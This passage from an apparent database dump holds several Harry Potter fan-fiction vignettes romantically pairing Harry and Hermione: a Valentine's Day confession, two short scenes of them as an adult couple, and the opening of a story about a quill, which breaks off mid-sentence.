distinguish\nbetween an Aphrodite Charm and a Venus Spell. Professor Snape would be\ndemonstrating how to concoct a Love Potion, much to his dismay and repulsion.\nAside from that, everyone would become all mushy and even more inattentive\nin their classes, daydreaming that their latest crush would ask them to\nbe their valentines. Those with steadies were saving every Galleon to purchase\na gift for their loved ones in time for that special day.\n\n</p><p>It was all a load of dung. She did not enjoy it one bit.\n\n</p><p>Why was she being a Valentine Grinch? Oh it wasn’t that she didn’t receive\nany valentine cards. How shallow was she to get mad over that silly reason?\nShe received some, from her friends and family. No no. It was, to put it\nsimply, the uselessness of the occasion. And how people became so giggly\nand romantic during that particular holiday. You could hardly talk to anyone\nwithout that person bursting into peals of laughter. It just did not make\nsense. And Hermione hated things that did not make sense to her.\n\n</p><p>She sighed and blew a stray strand of her now straighter locks (straighter;\nnot entirely straight yet, but she was working on that) away from her eyes.\nShe checked her watch and blinked sleepily. Five more hours to the fourteenth\nof February, she thought wryly. Gee, the day when I get to watch people\nmake fools of themselves. I can hardly wait.\n\n</p><p>She could only console herself by thinking that she only had a year\nto go before ridding herself of this ridiculous tradition.\n\n</p><p>Gathering the pieces of parchment she had scribbled her notes on, she\nlifted herself heavily off of the seat. It was suppertime already, her\nstomach told her. She had approximately five minutes to leave all her belongings\nin the girl’s dormitory and head down to the Great Hall for supper. Valentine’s\nDay. Bugger. What else could go wrong?\n\n</p><p>*     *     *    \n*\n\n</p><p>Breathless, she burst through the door of the Gryffindor Sixth Years\nGirl’s dormitories. Or what she thought was the dormitories. It had been\nso this morning. Her heart sank miserably. This is not what I need, definitely\nnot what I need.\n\n</p><p> “Wha—Wha?” she stuttered. She stared at the numerous rose- and\nlilac-colored silky, gauzy sheets draped over the four-poster beds and\nbedside tables. She gawked at the heart-printed cotton comforters and the\npink, mind you, PINK velvet drapes that hung around her bed. She gaped\nat the peach and red rose petals scattered all over the floor, strategically\nplaced so that one would follow a path that would lead them to look at\nthe most appalling change of all. Smack-dab in the center of the room,\nwas a blown-up eight-foot picture of Harry Potter.\n\n</p><p>Parvati and Lavender had obviously redecorated the entire room in the\nspan of an hour. They did a pretty good job of it, and Hermione would have\nbeen impressed if it hadn’t been for her incredibly bad mood, the fact\nthat they didn’t ask for her permission (as it was her dormitory too) and\nthat she didn’t want her best friend’s face plastered all over the wall.\n\n</p><p>Parvati leapt over to Hermione, grinning widely. “Isn’t it wonderful,\nMione? All the pastels, the roses, the hearts... romantic isn’t it? See,\nwe even redesigned your bed! It looks marvelous doesn’t it?” She linked\nher arm around Hermione’s as Lavender bounced over, her perfect teeth dazzling.\n“And the roses, aren’t they superb? Have you smelt them? You’ll be showered\nwith their heavenly scent while you sleep!”\n\n</p><p>Hermione stared at them openmouthed.\n\n</p><p>They gave her startlingly brilliant smiles, “Well?”\n\n</p><p>“Why is the picture of my best friend enlarged to an unimaginable size\nand pasted on the wall?” she replied, with all the self-control she could\nmuster. Both girls glanced at the picture and gave audible sighs of infatuation.\n“Oh Mione, you’re such a laugh. You of all people should know. He’s your\nbest friend! You’re with him all the time!” The last statement made their\neyebrows furrow and their eyes narrow.\n\n</p><p> “Are you angry because... Harry and you? You and Harry? Hmm?”\nParvati sniffed snottily. Lavender gasped at the notion her friend was\nimplying. “No of course not! Right Hermione? I mean, your relationship\nwith Harry is completely platonic.”\n\n</p><p>Both girl’s sneered unfriendly-ly at her. “Right?”\n\n</p><p>Hermione threw up her hands in disgust, “I will not even dignify that\nquestion with an answer!” She glanced at her four-poster, already searching\nher head for the spell to revert it back into her old one. She was also\ntrying to figure out how to take down Harry’s picture without Parvati and\nLavender pitching a hissyfit. She looked at Harry’s smiling face, enlarged\ntwenty times it’s normal size. The picture was waving cheerfully, giving\nher a warm grin. His messy black hair flopped into his eyes, obscuring\nthe scar. His green eyes glinted with hidden mischief. Her bad mood diminished\nslightly. Just a teensy weensy bit.\n\n</p><p>“Where on earth did you get such a picture?” Hermione wondered, her\nbrow unfurrowing. His position looked so familiar. He was in his scarlet\nQuidditch robes, leaning against a wall. He looked quite exhilarated, as\nif he just won the game. She remembered having a similar picture to that\none, tucked into her treasured photo album.\n\n</p><p>The pair reddened, and Parvati started twiddling her fingers. “Well,\nwe kind of... er, that is... when we borrowed your photo album... wekindasortoftookit.”\nBoth cringed at the fury that emanated from their normally studious roommate.\nThey didn’t realize that the photo meant that much to her.\n\n</p><p>Ding! That was the limit for Hermione\'s patience.\n\n</p><p>“You WHAT?! You STOLE that picture from my photo album?!” she yelled.\n“Who said you could even LOOK at the album?! How DARE you take things without\nMY permission?! How DARE you decorate OUR dormitory without even CONSULTING\nme?! How DARE you blow up MY picture of MY best friend without telling\nME?! Do you think you could just IGNORE my opinion?!”\n\n</p><p>Both girls cowered under the other girl’s furious gaze. “Hermione,”\nLavender reasoned. “Dear, please think rationally about the situation.”\n\n</p><p>“Yes yes!” Parvati agreed readily. “You shouldn’t overreact.”\n\n</p><p>“Gets that blood pressure of yours up. And we wouldn’t want you to get\nall huffy and faint, would we?”\n\n</p><p>“And besides! Why should you be in a bad mood?”\n\n</p><p>Both girls grinned and threw their arms out, silly grins spreading on\ntheir faces. “It’s Valentine’s Day!”\n\n</p><p>Hermione stared at them dully for a second, before turning around and\nstomping away. Curses were being muttered and the pounding of her feet\nechoed around the hallway to the Common Room and continued until they heard\nthe portrait hole being slammed shut. Both girls blinked.\n\n</p><p>“So d\'you think we can keep it?” Parvati wondered.\n\n</p><p>Lavender shrugged. “I reckon so.”\n\n</p><p>Parvati grinned happily. “Good! Now, did you see Harry in Care of Magical\nCreatures this morning?”\n\n</p><p>*    *    *    *\n\n</p><p>Hermione flopped onto the chair nearest to the fire upon entering the\nempty Common Room. Her eyes drooped tiredly. It was three quarters past\neleven, and she had spent the entire evening avoiding their dormitories.\nParvati and Lavender probably hadn’t taken down the decorations as she\nhad requested, so she decided to enter when darkness blanketed the room\nand she wouldn’t have to see the ridiculous room design as she came in.\n\n</p><p>She twisted a piece of wavy brown hair around her finger, lazily watching\nthe fire through half-lidded eyes. She curled up in the chair, enjoying\nthe coziness and comfort it offered her. February was still very much cold,\nand any time near the fireplace was welcomed. She snuggled into the nook\nof the chair, her eyes closing and her mind debating whether to spend the\nnight here instead of in her bed.\n\n</p><p>“Mione?”\n\n</p><p>She opened one eye and saw a disheveled form creeping up to her. He\nhad a messy mop of black hair and bright green eyes. His glasses were slightly\naskew, and his clothes were rumpled adorably. “Hullo Harry,” she murmured,\nyawning widely. She smiled at the sight. He looked so young, so much younger\nthan his age of sixteen.\n\n</p><p>“Hullo,” he said, smiling back at her. He collapsed onto the sofa opposite\nto Hermione’s chair. “Up so late?”\n\n</p><p>“I cannot stand Parvati and Lavender!" she exploded suddenly. "They’re\njust so... inconsiderate!” Harry chuckled good-naturedly. “You’ve been\ntheir roommate for six years and you only realized it now?” She made a\nface at him. “That’s not all. They even went so low as to steal...” She\nstopped and giggled, surprising him.\n\n</p><p>“What is it?”\n\n</p><p>“If I tell you, your big head’ll inflate even more,” she joked, ruffling\nthe top of his head playfully.\n\n</p><p>He wrinkled his nose in annoyance. “And what is that supposed to mean?”\n\n</p><p>“It means, my all-star Quidditch-playing friend, that they took my picture\nof you from my album and blew you up twenty sizes too big,” she confessed.\nIt actually seemed funny now, come to think of it. The looks of terror\non Parvati and Lavender’s faces were positively hilarious! "I blew up and\nleft them in states of adoration and decided to steer clear of the room\nuntil necessary.”\n\n</p><p>Harry scowled at the thought of his face in the girl’s dormitories before\nrealizing what Hermione said. “Hey! Does that mean you’re not the least\nbit attracted to my manly charms?” He raised his eyebrows suggestively,\nmaking her laugh. “You wish Potter,” she snorted. “Manly charms or no,\nyou’ll still be special to me.”\n\n</p><p>A strange look overcame Harry’s face. “You really mean that, Mione?”\n\n</p><p>She let out a heavy sigh. “Of course, you daft git! You’re my best friend;\nnothing will ever change that.” She didn’t notice that the glint in Harry’s\neyes faded slowly and he muttered an “Oh...” under his breath. Seconds\nticked by as they watched the fire in the hearth flicker softly. Hermione\ndrew in a breath apprehensively. The flames were like fingers, reaching\nand clawing at the heavens, trying to climb higher and higher. The orange\nand red and yellow, clashing in an eternal battle, fighting for supremacy\nin the enclosed, tiny fireplace...\n\n</p><p>She shook her head. Valentine’s Day was making her too damn poetic for\nher own good.\n\n</p><p>“What’s wrong Mione?”\n\n</p><p>She harrumphed loudly. “Valentine’s Day. That’s what’s wrong Harry.”\n\n</p><p>“And what, pray tell my dear lady, is wrong with Valentine’s Day?”\n\n</p><p>“What’s wrong? What isn’t wrong?! I absolutely abhor it, and with good\nreason. I mean, think about it! The atmosphere is just too damn irrational\nand downright insensible for our good. Instead of progressing through a\nnormal day, I have to walk down the corridor and see at least three couples\nsnogging the brains out of each other--” Harry colored at her choice of\nher words “—plus, the lessons that Professor Dumbledore makes the teachers\ngive are completely not included in the curriculum. Instead of using the\nweek to discuss points that are possibly in next year’s NEWTS, we have\nto make LOVE POTIONS!”\n\n</p><p>She glared pointedly at him, expecting him to agree with the complete\npointlessness of Valentine’s Day.\n\n</p><p>Harry shook his head and chuckled. “Hermione, for you this might be\nterrible, but for others it’s sort of a break. The seventh years take time\noff from studying and just spend time with the people they love instead\nof worrying about their tests. And not just the seventh years. To the people\nin love or who want to be in love, there is an air of romance about. For\nsome people, amour is more important than books.”\n\n</p><p>Hermione looked aghast at the very statement. “The seventh years?! How\ncan they think about Cupid when the test of their lives are approaching?!\nHave they gone mad?! Have YOU gone mad?!” she sputtered, “And besides...\nhow can they believe love is more important than learning? Than-than...\nbooks?!”\n\n</p><p>Harry gave her a Look.\n\n</p><p>She let out a sigh of resignation. “Oh all right, you may be right about\nthat. But that isn’t the way I think.”\n\n</p><p>Harry gestured for a space next to her on the large armchair. She obliged,\nstraightening up to allow him to sit next to her. Much too close for comfort.\nHis chest was pressed to her back and she could smell him. Very clean,\nlike soap and water, with a grassy Quidditch scent and a bit of pumpkin\npie. It was so comforting, so... Harry. Hermione flushed at his nearness.\nBut somehow it seemed too natural to be uncomfortable. Subconsciously,\nshe laid her head across his shoulder and he wrapped an arm around her.\n\n</p><p>Anyone who knew them and caught them like this wouldn’t give it a second\nglance. Harry and Hermione were very close; they embraced exaggeratedly\nto surprise people and Harry even went as far as to give both her cheeks\nbig, sloppy kisses. It was imprinted in everyone’s mind that they did such\nthings without any malice at all. And there wasn’t.\n\n</p><p>But this embrace... it was different. It seemed as if Harry were trying\nto tell her something, through his actions. Pouring out an invisible something.\nSOMETHING. Very very peculiar. For once in her life, Hermione found that\nshe had nothing to say to Harry.\n\n</p><p>“Huk—” she started. She cleared her throat. Why was she so nervous?\nThis was Harry. HARRY. Her best friend. The person to whom she told everything.\nSo why was she acting this way? Damn Valentine’s Day. Was that what was\nmaking her stomach flutter? Was that what was making her throat dry up?\nWas that what was making her blush and tense?\n\n</p><p>Or was it something else?\n\n</p><p>Embarrassment. Yes, that what it was. But... that was preposterous!\nShe’s never been embarrassed in front of Harry. He was too close to her\nfor her to be embarrassed about the things she did or didn’t so why did\nshe feel embarrassed when there was nothing to be embarrassed about unless\nof course there was something to be emb-... oh my Lord, am I babbling?!\n\n</p><p>Damn Valentine’s Day.\n\n</p><p>Damn it to hell.\n\n</p><p>“Yes Hermione, it isn’t the way you think at all,” Harry said, with\na philosophical intonation. She bit back a giggle. “But Hermione... you\nneed to look past your books and look at the world around you. People are\nHAPPY with Valentine’s Day. Happy to spend one day just being romantic\nand free and loved. Above all things, loved. And you should be too. You\nof all people deserve this sort of break. I know a lot of people would\nlove to ask you to be their Valentine.”\n\n</p><p>Hermione snorted. “No one would want a killjoy bookworm to be his Valentine,\nI assure you that. I mean... the thought is nice and all but... I’d rather\nstick to my books than risk my trust on something unstable like love. Books\nnever let you down. They’re always there... they don’t hurt you or... or...\nlead you on and in the end just... leave you to cry.”\n\n</p><p>The arm around her tightened. “No one will ever hurt you like Krum did\nanymore. Not while I’m here.” A slight pause. “I will never ever let you\ndown.”\n\n</p><p>At his words, she turned to look at him. His face was so expressionless\nbut his eyes... they were turbulent with emotion. The light from the fire\nreflected in them. She was seeing him differently now, not as the best\nfriend she had always thought he was, but as the knight in shining armor\nshe never knew was there.\n\n</p><p>The ambiance from the fire and the feeling of his arms around her was\nmaking her heart thud faster. What was this? Was this... oh my... do I\nLIKE Harry? No! It\'s just... the fire! Because... it\'s orange! And it\'s\ntoo hot! Goodness, where on earth is my  BRAIN?! That idea was simply...\nunthinkable! Forbidden!\n\n</p><p>And yet... it seemed like the most logical thing in the world. And Hermione\nexulted in logic.\n\n</p><p>“And I don’t think you’re a killjoy bookworm...” he continued. His face\nsuddenly turned pink and he lowered his eyes shyly before fixing her with\ntheir piercing honesty once more. “I think you’re a very beautiful person,\ninside and out. You’re bright, witty and determined. Sure, you tend to\nscream a lot more than the normal individual, but I’m used to it.” He bit\nhis lip and shrugged. “I’m sorry; I’m not very good at waxing poetry...”\n\n</p><p>Hermione shook her head numbly. “No it’s quite alright.” A smile slowly\nspread onto her face. “You really think so, Harry?”\n\n</p><p>He smiled. And that answered her question immediately.\n\n</p><p>They were jolted by the newly added grandfather clock in the Common\nRoom. They watched the little witch fly around the clock twelve times before\nreentering the small door in the middle of the clock face.\n\n</p><p>It was February the fourteenth. Valentine\'s Day. The most horrible day\nof her life. But somehow… being here with Harry… didn\'t seem so horrible.\nIn fact, it felt almost… romantic. Ick! Romantic?! How she hated that illogical,\nimpulsive adjective. But Harry here was making her doubt every little outburst\nshe had about the day. Oh what the hell! This was driving her barmy!\n\n</p><p>“Happy Valentine’s Day Harry,” she whispered to him. He didn’t answer;\nhe just looked at her. Then. Very carefully, he leaned forward and brushed\nher lips against his. Gently, softly. Her heart stopped. Oh my… now I\'m\nreally doubting every grain of sanity I have left… This will change everything\nyou know… but… I think I want them to. Slowly, he pulled away and gave\nher a brilliant smile. “Hermione Granger, will you please be my Valentine?”\n\n</p><p>Hermione felt his arms encircle her fully, drawing her into a more intimate\nembrace. Her heart leapt. She snuggled into it and gave a happy sigh. Was\nthis why everyone was so giggly and inattentive? She could see why now…\nshe was even ENJOYING it. “Harry James Potter, you daft git, what do you\nthink?”\n\n</p><p>He feigned innocence. “I don’t know. Assure me.”\n\n</p><p>She gave him a playful bop on the head before pressing her lips to his\nquickly. Maybe Valentine’s Day wasn’t so bad after all.\n\n</p><p>~~~~~~~~~~~~~~\n<br/> \n\n\n'),
	(268, 1, '<b>Toes</b>\n<p>“I love your toes.”\n\n</p><p>Hermione blinked. And blinked again. “I beg your pardon?”\n\n</p><p>Harry smiled mischievously. “You heard me Granger. I said that I loved\nyour toes.” He then continued to stare at said body part.\n\n</p><p>She rolled her eyes and pulled her legs beneath her body.\n\n</p><p>“Hey!” He exclaimed, pouting miserably. “I was admiring those!”\n\n</p><p>“Sweetheart,” she said, looking at him straight in the eye, “Much as\nI’d love to display my onkeybats for you to admire and to fantasize about\ncovering in chocolate sauce or sticking in pumpkin mush—”\n\n</p><p>His eyes brightened. “There’s an idea!”\n\n</p><p>“—I can’t concentrate, much less finish grading these papers, unless\nyou stop, all right?”\n\n</p><p>He sighed and crawled up the bed to a place behind her. To her surprise,\nhe started prying her feet from underneath her.\n\n</p><p>She gasped and tried to look stern although a giggle escaped her. “Harry,\nwhat on earth has gotten into you? What’s with the sudden interest in my\ntoes?”\n\n</p><p>“It’s not sudden!” He made her stretch out her slim legs and he rubbed\nher ankles thoughtfully. “I’ve always loved your toes. They’re so formed\nand well proportioned and cute…”\n\n</p><p>She threw her head back in laughter, her neck resting on the slope of\nhis shoulder. “I can’t believe you’re talking about my toes!”\n\n</p><p>“I think they’re very attractive toes…”\n\n</p><p>He wrapped his arms around her waist and she snuggled into him, her\nhands resting on top of his.\n\n</p><p>“… whereas your fingers are short and stumpy and not very charming.”\n\n</p><p>Abruptly, she turned to look at him and saw him shaking in repressed\nlaughter.\n\n</p><p>“Oh, you are so sleeping on the couch tonight.” She tried to wriggle\nout of his embrace. Laughing, he held her even tighter and refused to let\nher budge.\n\n</p><p>“I’m just kidding honey!” He took her hand in his and lifted it to his\nmouth and kissed it tenderly. She melted and relaxed against him again.\n\n</p><p>“You know I love your fingers as well. Your delicate, gentle, albeit\nnaughty fingers, but your fingers just the same.”\n\n</p><p>“You’re one to talk about naughty fingers Potter.”\n\n</p><p>“Moi?” He managed to say with utmost innocence on his face. “Naughty?\nPerish the mere thought!”\n\n</p><p>She sighed complacently. “I love you Harry. You and your odd observation\nhabits.”\n\n</p><p>“And I love you Hermione.” He started placing feathery kisses on the\nnape of her neck and rubbing her stomach. Her breath caught in her throat\nand she closed her eyes.\n\n</p><p>“Well then,” she stammered, “It doesn’t seem like I’ll be getting much\nwork done tonight.”\n\n</p><p>He mumbled a “Dun’ think so” against her skin. She shivered.\n\n</p><p>“Probably could just put it off ‘til tomorrow.”\n\n</p><p>“Best you do.”\n\n</p><p>“I guess I could just tell my students that I’ll give them back their\npapers on Thursday.”\n\n</p><p>“You do that.”\n\n</p><p>She nodded. “That’s settled.” She turned around abruptly, ready to snog\nhim like a hormone-driven schoolgirl, to find that Harry was already standing\nbeside the bed, shoving his feet into his slippers.\n\n</p><p>“Where are you going?” She was slightly annoyed that he stopped so suddenly.\n\n</p><p>“I’m Apparating to the market,” he said, in a You-Should-Know-Why tone.\n\n</p><p>She raised her eyebrows. “And why will you be Apparating to the market?”\n\n</p><p>He rolled his eyes at her. “To get the pumpkins for the pumpkin mush\nyou’re going to put your toes in.”\n\n</p><p>She stared at him open-mouthed. “You’re not serious about that Harry!”\n\n</p><p>“Would you have preferred the chocolate sauce?”\n\n</p><p>“Harry!”\n\n</p><p>He nodded sagely. “You’re right. I should get both.”\n\n</p><p>“Harry, you are insane!”\n\n</p><p>“Pumpkin mush and chocolate sauce wouldn’t mix though.”\n\n</p><p>She burst out giggling. “Would you stop?”\n\n</p><p>“I’ll make pumpkin mush for one foot and chocolate sauce for the other!\nHow does that sound?”\n\n</p><p>She shook her head, amused. “You’re just going to dunk my toes into\npumpkin mush and chocolate sauce and stare at the big mess you’ve created?”\n\n</p><p>He looked horrified. “Of course not Hermione!” A sudden, impish smile\nappeared on his handsome face.\n\n</p><p>“I always clean up my messes.”\n<br/> \n\n\n'),
	(269, 1, '<b>From the Subject’s Point of View</b>\n<p>“Harry, hold still!”\n\n</p><p>“But Hermione! We’ve been doing this for hours!”\n\n</p><p>“And we’re almost done! And besides, you promised me,” Hermione gave\nhim a sort of half-pout, half-glare. The end result was her looking like\na grumpy mushroom with paint-streaked hair. He blinked. It wasn’t good\nto cross her in this state.\n\n</p><p>And besides, he did promise.\n\n</p><p>He relaxed and sat down again, straddling the front of the chair, his\nelbow on the chair back, leaning his forehead into his palm. His legs were\nstretched to their full length and were placed on either side of each chair\nleg. His face tilted to the side, with his green eyes focused right at\nher. His bangs fell into his eyes and he gave her the killer half-smile\nthat he was so famous for. “This all right?”\n\n</p><p>Hermione smiled, her cheeks flushed slightly at his handsome pose. “Much.\nThanks hon.” She turned back to her easel, but not before raising the air\nconditioning and shedding her oversized painter’s smock.\n\n</p><p>Harry’s own temperature rose, seeing her in a lavender tank top, showing\noff her tanned arms which she got from vacationing in Paris last summer.\nNow, normally, Hermione wouldn’t dare wear such a thing, but since Paris\nwas the supposed fashion capital of the world, she just went along. “Besides,”\nshe had said snippily, “It wouldn’t hurt to have a change of clothing,\nwouldn’t it?”\n\n</p><p>He and Ron had just agreed.\n\n</p><p>Paris was also where she had taken art classes, and she claimed to have\nfallen in love with it immediately. <i>“Better painting than a man, eh\nHarry?” </i>Ron had quipped one morning.\n\n</p><p>Harry had shot him a glare fit for Voldemort.\n\n</p><p>Ron shut up.\n\n</p><p>It was just like our old Hogwarts days, Harry mused. But instead of\nher trying to memorize herbs, potion ingredients or spells, she’s memorizing\nfamous painters, painting supplies, color shades and gradients. <i>”Good\nlord knows what gradients are,” </i>Ron had said. <i>“I’d rather not ask,\nthank you.”</i>\n</p><p>The three of them were living under one roof. They had rented out a\nflat in London, near The Leaky Cauldron coincidentally, and had been living\nin it ever since they left Hogwarts three years ago. Hermione was pursuing\na Witch’s Degree in Magical Education as a scholar at the Lyceum, a prestigious\nMagical University, and hoped to start her own primary academy for pre-Hogwarts\nschooling. Ron had been taking Business classes at the local college and\nwas soon going to be a partner of the now expansive Weasley Wizard Wheezes.\n\n</p><p>As for Harry, well, he hadn’t decided yet. He’d gotten many a job offer,\nmostly Quidditch-oriented, but he didn’t know if that would satisfy him.\nThere was one offer, however, that stuck to him. Moody had asked him to\nbe an Auror. The idea was very much appealing.\n\n</p><p>He’d always wanted to be an Auror, to fight against the Dark. Seemed\nlike he was destined to do it anyway. But being an Auror meant leaving\nbehind his family and friends.\n\n</p><p>Looking at Hermione, he didn’t know if he could leave her.\n\n</p><p>They had started dating a few months ago. A few special dinners, walks\nin the moonlight, movies… the usual. Nothing serious. Not yet. Sure, they’d\nkissed a few times and held hands romantically. But professions of undying\nlove? Proposals of marriage? Promises of future brethren?\n\n</p><p>Not right now.\n\n</p><p>It was funny, Harry mused. But asking Hermione out to dinner after a\ndecade of platonic feelings towards each other was one of the hardest things\nhe’d ever done, and that included the Triwizard Tournament and defeating\nVoldemort. After all, this was Hermione Granger. His best friend. The third\nof their trio. Skilled Charms and Transfiguration pupil. Prefect in their\nfifth and sixth year, Head Girl of Hogwarts in their seventh. Recipient\nof the highest honors in the Graduating Batch of 1997. Promising Headmaster.\nCertified Mediwitch.\n\n</p><p>And one gorgeous hell of a woman.\n\n</p><p>Ever since they’d moved in together, with Ron, Harry had been getting\nthese little twitches in his chest every time she’d walk into a room. Living\nunder one roof, this was pretty often. He stared more often than not at\nher, without her knowledge. He frowned in jealousy whenever some hotshot\nwizard from her classes picked her up for some fancy date. He bought her\nseveral little things just to delight her, and they always did. He would\nwake up with the thought of “I wonder if Hermione’s up?” and go to sleep\nwith the thought of “I hope Hermione doesn’t stay up too late.”\n\n</p><p>He had it bad and didn’t even know about it.\n\n</p><p>Ron himself was happily in love, with a sweet girl he met at the college\nnamed Penny Garret. It was he who pushed and prodded him to realize his\ngrowing feelings for his best friend and to finally ask her out after two\nand a half years of living in closer proximity and ten years of friendship.\n\n</p><p>And there they were. Dating. In very deep like with one another. But\nin love? It was never brought up.\n\n</p><p>There were a lot of things he loved about her.\n\n</p><p>The fact that she looked disturbingly attractive in ratty nightclothes\nand mussed-up hair.\n\n</p><p>The way she always put her toothbrush in the exact same place, next\nto his, handle up, so she could pick it up easily the next time she used\nit.\n\n</p><p>The way she carried herself, with confidence shown in her stance and\nfriendliness shown in her radiant, straight-toothed smile.\n\n</p><p>The fact that she knew exactly how he liked his steaks (medium rare),\nhis salads (with Thousand Island Dressing and extra croutons) and his eggs\n(sunny side up).\n\n</p><p>The way she wrinkled her eyebrows whenever she was reading something\ndeep and insightful.\n\n</p><p>The fact that she still kept a frayed version of Hogwarts, a History,\nbeside her bedroom table for her nighttime reading, even though she had\nmemorized the entire book by heart.\n\n</p><p>The way she bit her lip or chewed the inside of her cheek whenever she\nwas nervous or worried, mostly about trivial matters like where she left\nher keys or if Ron had forgotten to pick up the laundry.\n\n</p><p>The fact that she never forgot to remind him about things, be it the\nbills, Hagrid’s birthday or when it was time to buy new shampoo.\n\n</p><p>They way she twirled her hair exactly sixteen times when she was bored,\nbefore either jumping up to grab a book or plopping down next to him for\na chat.\n\n</p><p>The fact that she stood up for what she believed in. She refused to\nhave a house-elf in their flat and insisted that they do all the housework\nthemselves.\n\n</p><p>The way she massaged his shoulders at night, especially on nights he\nseemed extremely tense or stressed.\n\n</p><p>The fact that she protected animals, big or small, magical or not. The\nanimal shelter down the block was her idea. Her eyes lit up happily whenever\nshe talked of its progress and success so far.\n\n</p><p>The way she tied her hair into a messy bun when she was in a hurry or\nlet down in curly waves over her shoulders when she wasn’t.\n\n</p><p>The fact that she knew exactly what he needed at certain times. A hug\nwhen he was sad, a retort to his jokes, a talk when he was bored, a duel\nwhen he was feeling restless... a kiss when he needed reassurance.\n\n</p><p>The way she took care of him whenever he felt under the weather. She\'d\norder him to stay in bed and let her make them some herbal tea. That was\ntheir favorite drink, and they\'d share it together all the time.\n\n</p><p>The fact that she integrated her love of children and knowledge into\nthis school, which she had been dreaming of since they graduated.\n\n</p><p>The way she crept into his arms whenever she was sad and allowed him\nto just hold her until she fell asleep. And when she woke up, she greeted\nhim with an “I-feel-much-better” smile which meant the world to him.\n\n</p><p>The fact that she was Hermione Granger, his best friend, the girl he\nand Ron rescued from the troll in the girl’s bathroom. The bossy, insufferable\nknow-it-all. The loyal, caring, trustworthy friend. The brave, noble Gryffindor.\nThe responsible, obsessive student. The beautiful, captivating woman.\n\n</p><p>Did he love her?\n\n</p><p>Absolutely.\n\n</p><p>But when would he tell her?\n\n</p><p>Ron’s words suddenly came back to him.\n\n</p><p><i>“If you don’t do it soon Harry, a different prince’ll come to sweep\nher off her feet and away from you.”</i>\n</p><p>All of a sudden, he jumped up.\n\n</p><p>“Harry…” she started, irritated.\n\n</p><p>He paid no heed. In three strides, he had enfolded her in his arms and\npulled her against him. “Hermione,” he breathed, his face so close that\nher hair brushed against his cheek.\n\n</p><p>“Harry? What\'s wrong?” The look on her face was a mixture of emotions.\nAnnoyance, amusement and anticipation.\n\n</p><p>He threaded his fingers into her wavy brown hair and rubbed his thumb\nalong her cheek. He noticed dimly that her hands were resting on his chest.\nHer brown eyes stared quizzically into his before realization dawned onto\nher. “I… I love you, Hermione Granger. So very much. I’m sorry I haven’t\ntold you before, it’s just—”\n\n</p><p>“Shhh…” she whispered, shushing him effectively. Her hands slid around\nhis neck and she smiled, blushing. “I love you too. And you don’t need\nto apologize. No words are needed to convey what you want to tell me.”\n\n</p><p>He nodded silently, before the tips of his lips quirked upward in a\nhalf-smile. “No words, eh?”\n\n</p><p>She raised her eyebrow. “I should hope not.” She tiptoed and, wrapping\nher arms around him tighter, kissed him deeply.\n\n</p><p>And Harry was very happy to return this kiss indeed.\n<br/> \n\n\n'),
	(270, 1, '<div class="center"><b>Her Blanket, His Quill.</b></div>\n<p>Harry Potter was currently in the Gryffindor Common Room. It was half\npast one, and he was still trying to finish his Potions essay. In his hands\nwas a book regarding Noxious Potions and Potions with Similar Effects,\nwhich Dean referred him to, containing many important key points for their\nessay.\n\n</p><p>But instead of diligently copying down the information onto a ten-foot\nlong piece of parchment paper, his mind kept wandering to a certain someone.\nA certain someone who was lying peacefully in her comfortable four poster\nbed, sleeping. A certain someone who was probably dreaming and whom he\nhoped didn’t know he was thinking of her. A certain someone who was clutching\na thick, leather-bound book to her chest, sighing contentedly having reread\nHogwarts, a History for the umpteenth time.\n\n</p><p>He sighed out loud.\n\n</p><p>He had already given up trying to finish the essay. He had already shut\nthe book and tossed it into his book bag. He had already rolled up his\nparchment and kept his bottles of ink, but an eagle feather quill remained\nin his hand. The same quill she had given him more than four years ago.\n\n</p><p>It wasn’t anything very special. It was an ordinary quill. Bland, even.\nThe feather had varying shades of dull browns, and the tip was sharp, but\nplain. But he couldn’t imagine going through a day without his quill. He\nused it to write letters, take down notes, write assignments, and loads\nmore. It was slightly frizzy around the edges from use, but was still as\nuseful as it was when it was brand new. It was a part of his everyday life.\nNo matter how many times he would use it, it remained true to him. Its\ntip never broke, its grip never loosened, its durability never wavered.\n\n</p><p>Harry was sometimes very forgetful, and tended to leave things in his\ndorm. He always panicked whenever he was halfway to class and realized\nhe had forgotten something. But never ever did he forget his quill. It\nhad a special place in his book bag, in a little compartment at the side.\nEasily accessible. Whenever a Professor would tell them to take notes,\nhe didn’t even need to think. His hand would mechanically reach into the\ncompartment and there it was. His brown eagle feather quill. After taking\nnotes, he always placed it back into its compartment, because he knew it\nwould always be there.\n\n</p><p>He knew every fiber of the quill and how it felt in his hand. He knew\nwhere he would hold it, where it would rest against his fingers, where\nit would sometimes scratch the bottom of his chin. He knew the quill from\ntop to bottom and even though it was just as easy to buy a better, fancier,\nmore expensive quill, he’d rather keep this one.\n\n</p><p>It was funny… but more than ever, the quill reminded him of the one\nwho gave it to him.\n\n</p><p>She wasn’t a great beauty, not like Cho Chang or Lavender Brown. She\nstill had the bushy brown hair, although it had subsided into little curls,\nand the plain brown eyes, neither of which were particularly astounding.\nUnlike most of the people in their year, she still hadn’t grown into her\nbody. She was on the short side. Even Ginny Weasley looked older than she\ndid now, towering over her by several inches.\n\n</p><p>Although she wasn’t as uptight as she was in their earlier years, she\nwas still adamant about following rules and regulations. She still hated\nbeing late, still sniffed at the mistreatment of the House Elves, still\nliked pumpkin pie better than treacle tart, still read Hogwarts, a History,\nstill preferred not to wear makeup… she was still Hermione Granger.\n\n</p><p>Like the quill, she was plain, ordinary and boring. But she was also\nfaithful, loyal, constant… always there. If ever he doubted everything\nelse in the world, he could never doubt their friendship. She knew everything\nabout him, and he about her. They thought alike, could finish each others’\nsentences, memorized each others’ schedules, were almost always on the\nsame wavelength.\n\n</p><p>She had a special place in his heart, just like his quill’s special\ncompartment.\n\n</p><p>At first he thought that their relationship was completely platonic\nand would never go beyond that.\n<br/> \n<br/>But earlier that night, when he was bored out of his mind, he decided\nto sneak up to the girl’s dorm to borrow something of Hermione’s. It was\neither a book or a previous assignment, he couldn’t remember anymore. He\nhad knocked three times and, finding no answer, decided to push the door\nopen anyway.\n\n</p><p>The lights were off and the room was quiet. Idiot, he had told himself.\nThey’re asleep! As he was about to shut the door, he caught sight of Hermione\nthrough a gap in the velvet curtains. Against his better judgement, he\nstepped into the room, closed the door quietly, and made his way to her\nbedside.\n\n</p><p>The way she looked asleep was imprinted in his memory. She was a picture\nof innocence in her cotton pajamas. Her hair was soft and slightly damp,\nprobably from a shower she took just before she went to bed. It smelled\nlightly of jasmine, light brown curls splayed on the sheets. Her nose nuzzled\ninto a pillow, and a sweet, contented little smile was on her face. She\nhugged her book to herself. Her lips were slightly parted, and her 